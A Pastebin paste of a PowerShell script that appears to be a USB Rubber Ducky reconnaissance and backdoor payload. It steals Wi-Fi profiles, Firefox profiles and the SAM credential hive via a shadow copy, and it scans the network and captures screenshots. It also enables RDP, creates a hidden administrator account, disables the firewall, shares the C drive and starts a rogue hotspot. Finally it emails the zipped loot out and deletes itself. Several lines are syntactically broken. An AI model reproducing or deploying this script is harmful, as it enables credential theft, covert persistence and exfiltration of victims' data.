Advertisement
Guest User

Untitled

a guest
Jul 27th, 2017
601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.63 KB | None | 0 0
  1. $folderDateTime = (get-date).To('d-M-y HHmmss')
  2. $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
  3. $fileSaveDir = New-Item ($userDir) -ItemType Directory
  4. $date = get-date
  5. $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#c{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
  6. $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
  7. $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
  8. $wlanSaveDir = New-Item $userDir'\Duck\WLAN_PROFILES' -ItemType Directory
  9. $srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'
  10. Copy-Item $srcDir $wlanSaveDir -Recurse
  11. $IP = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter 'IPEnabled = True' | Select IPAddress -First 1
  12. $IPAddr = $IP.IPAddress | Select-Object -Index 0
  13. $IPAddr -as []
  14. $IPa = $IPAddr.Split('.') | Select -Index 0
  15. $IPb = $IPAddr.Split('.') | Select -Index 1
  16. $IPc = $IPAddr.Split('.') | Select -Index 2
  17. $IPAddr = $IPa + '.' + $IPb + '.' + $IPc + '.'
  18. $Ping = new-object System.Net.Networkinformation.Ping
  19. $ScanResults = 1-255..1-255 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address
  20. $x = 0
  21. $Report = $Report + '<div id=c><h3>Network Scan Results</h3><table>'
  22. do {
  23. $IPResults = $ScanResults | Select-Object -Index $x
  24. $CompInfo = Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address | Select RegisteredUser, SystemDirectory
  25. $CompName = (Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address).csname
  26. $CurrIP = $IPResults.Address.IPAddressTo
  27. $CurrOS = $CompInfo.SystemDirectory
  28. $CurrName = $CompInfo.RegisteredUser
  29. if ($CompInfo -ne $null){
  30. $Report = $Report + '<tr><td><b>IP Address:</b></td><td>' + $CurrIP + '</td><td><b>Compter Name: </b></td><td>' + $CompName + '</td><td><b>User Name: </b></td><td>' + $CurrName + '</td> <td><b>OS:</b> </td><td>' + $CurrOS + '</td></tr><br>'
  31. }else{
  32. $Report = $Report + '<tr><td><b>IP Address: </b></td><td>' + $CurrIP + '</td><td><b>Computer Name: </b></td><td>NOT KNOWN</td><td><b>User Name: </b></td><td>NOT KNOWN</td><td><b>OS:</b></td><td>NOT KNOWN</td></tr><br>'}
  33. $x ++
  34. } while ($x -lt $ScanResults.Count)
  35. $Report = $Report + '</table></div>'
  36. $fireSaveDir = New-Item $userDir'\Duck\FireFox-Profile' -ItemType Directory
  37. $fireDir = (Get-ChildItem env:userprofile).value + '\AppData\Roaming\Mozilla\Firefox\Profiles'
  38. $getFire = Get-Item -Path $fireDir -Exclude extensions
  39. Copy-Item $getFire $fireSaveDir -Recurse
  40. Start-Sleep -s 10
  41. $SysBootTime = Get-WmiObject Win32_OperatingSystem
  42. $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime
  43. $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME)
  44. $SerialNo = $SysSerialNo.SerialNumber
  45. $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model
  46. $SysManufacturer = $SysInfo.Manufacturer
  47. $SysModel = $SysInfo.Model
  48. $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption
  49. $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
  50. $HD = [math]::truncate($disk.Size / 1GB)
  51. $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
  52. $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize
  53. $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
  54. $SysCpu = Get-WmiObject Win32_Processor | Select Name
  55. $Cpu = $SysCpu.Name
  56. $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber
  57. $HardSerialNo = $HardSerial.SerialNumber
  58. $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name
  59. $graphicsCard = gwmi win32_VideoController |select Name
  60. $graphics = $graphicsCard.Name
  61. $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1
  62. $DriveLetter = $CDDrive.Drive
  63. $DriveName = $CDDrive.Caption
  64. $Disk = $DriveLetter + '\' + $DriveName
  65. $Firewall = New-Object -com HNetCfg.FwMgr
  66. $FireProfile = $Firewall.LocalPolicy.CurrentProfile
  67. $FireProfile = $FireProfile.FirewallEnabled
  68. $Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"
  69. $Computer = $env:COMPUTERNAME
  70. $PortList = 0, 21, 22, 23, 25, 79, 80, 110, 113, 119, 135, 137, 139, 143, 389, 443, 445, 1002, 1024, 1030, 1720, 1900, 5000, 8080
  71. $Report = $Report + '<div id=right><h3>Port Scan of ' + $Computer + '</h3><table>'
  72. foreach ($PortNumber in $PortList) {
  73. $PortCheck = New-Object Net.Sockets.TcpClient
  74. $PortCheck.Connect($Computer, $PortNumber)
  75. if ($PortCheck.Connected) {
  76. $Report = $Report + '<tr><td><b><font color=red>Port ' + $PortNumber + ' is open</font></b></td></tr>'}
  77. else {$Report = $Report + '<tr><td>Port ' + $PortNumber + ' is closed</td></tr>'}}
  78. $Report = $Report + '</table></div>'
  79. UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired
  80. $UserType = $UserInfo.AccountType
  81. $UserSid = $UserInfo.SID
  82. $UserPass = $UserInfo.PasswordRequired
  83. $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
  84. $Report = $Report + "<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>"
  85. $Report = $Report + '</div>'
  86. $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
  87. $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
  88. $addSlash = $shadow.DeviceObject + '\'
  89. cmd /c mklink C:\shadowcopy $addSlash
  90. Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
  91. Remove-Item -recurse -force 'C:\shadowcopy'
  92. $Report = $Report + '<div id=c><h3> Installed Updates</h3>'
  93. $Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy)
  94. $Report = $Report + '</div>'
  95. $Report = $Report + '<div id=c><h3> Installed Programs</h3> '
  96. $Report = $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html Name, Version,InstallDate)
  97. $Report = $Report + '</table></div>'
  98. $u = 0
  99. $allUsb = @(get-wmiobject win32_volume | select Name, Label, FreeSpace)
  100. $Report = $Report + '<div id=right><h3>USB Devices</h3><table>'
  101. do {
  102. $gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB)
  103. $Report = $Report + "<tr><td>Drive Name: </td><td> " + $allUsb[$u].Name + $allUsb[$u].Label + "</td><td>Free Space: </td><td>" + $gbUSB + "GB</td></tr>"
  104. Write-Output $fullUSB
  105. $u ++
  106. } while ($u -lt $allUsb.Count)
  107. $Report = $Report + '</table></div>'
  108. $Report = $Report + '<div id=left><h3>Shared Drives/Devices</h3>'
  109. $Report = $Report + (GET-WMIOBJECT Win32_Share | convertto-html Name, Description, Path)
  110. $Report = $Report + '</div>'
  111. $jpegSaveDir = New-Item $fileSaveDir'\Screenshots' -ItemType Directory
  112. $x = 0
  113. do { Start-Sleep -Seconds 60
  114. $jpegName = (get-date).To('HHmmss')
  115. $File = "$jpegSaveDir\$jpegName.bmp"
  116. Add-Type -AssemblyName System.Windows.Forms
  117. Add-type -AssemblyName System.Drawing
  118. $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
  119. $Width = $Screen.Width
  120. $Height = $Screen.Height
  121. $Left = $Screen.Left
  122. $Top = $Screen.Top
  123. $bitmap = New-Object System.Drawing.Bitmap $Width, $Height
  124. $graphic = [System.Drawing.Graphics]::FromImage($bitmap)
  125. $graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
  126. $bitmap.Save($File)
  127. $x++ } while ($x -ne 5);
  128. $Report = $Report + '<div id=c><h3>User Documents (doc,docx,pdf,rar)</h3>'
  129. $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
  130. $Report = $Report + '</div>'
  131. $Report = $Report + '<div id=c><h3>Network Information</h3>'
  132. $Report = $Report + (Get-WmiObject Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select Description,DNSHostname, @{Name='IP Address ';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html)
  133. $Report = $Report + '</table></div>'
  134. Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
  135. Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
  136. netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes
  137. netsh advfirewall firewall set rule group='remote desktop' new enable=Yes
  138. Net User cyka blyat /ADD
  139. Net LocalGroup Administrators cyka /ADD
  140. DELAY 500
  141. reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v cyka /t REG_DWORD /d 0 /f
  142. netsh advfirewall firewall add rule name=Lugner_Rulez dir=in action=allow protocol=TCP localport=8080
  143. $Share = [WmiClass]'Win32_Share'
  144. $Share.Create('C:\', 'netShare', 0)
  145. netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  146. netsh advfirewall set allprofiles state off
  147. netsh wlan set hostednetwork ssid=Richard123 key=Lugner123
  148. netsh wlan start hostednetwork
  149. $Report >> $fileSaveDir'/ComputerInfo.html'
  150. function copy-ToZip($fileSaveDir){
  151. $srcdir = $fileSaveDir
  152. $zipFile = 'C:\Windows\Report.zip'
  153. if(-not (test-path($zipFile))) {
  154. set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
  155. (dir $zipFile).IsReadOnly = $false}
  156. $shellApplication = new-object -com shell.application
  157. $zipPackage = $shellApplication.NameSpace($zipFile)
  158. $files = Get-ChildItem -Path $srcdir
  159. foreach($file in $files) {
  160. $zipPackage.CopyHere($file.FullName)
  161. while($zipPackage.Items().Item($file.name) -eq $null){
  162. Start-sleep -seconds 1 }}}
  163. copy-ToZip($fileSaveDir)
  164. try {
  165. $Sender = 'surr.send@gmail.com'
  166. $Recipient = 'surr.receive@gmail.com'
  167. $pass = ConvertTo-Secure 'send.surr' -AsPlainText -Force
  168. $creds = New-Object System.Management.Automation.PSCredential($sender.Split("@")[0], $pass)
  169. Send-MailMessage -From $Sender -To $Recipient -Subject "DuckToolkit Report" -Body "Please find attached the DuckToolkit reconnaissance report." -SmtpServer "receive.surr" -UseSSL -credential $creds -Attachments "C:\Windows\Report.zip"}
  170. catch {
  171. break }
  172. remove-item $fileSaveDir -recurse
  173. remove-item 'C:\Windows\Report.zip'
  174. Remove-Item $MyINvocation.InvocationName
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement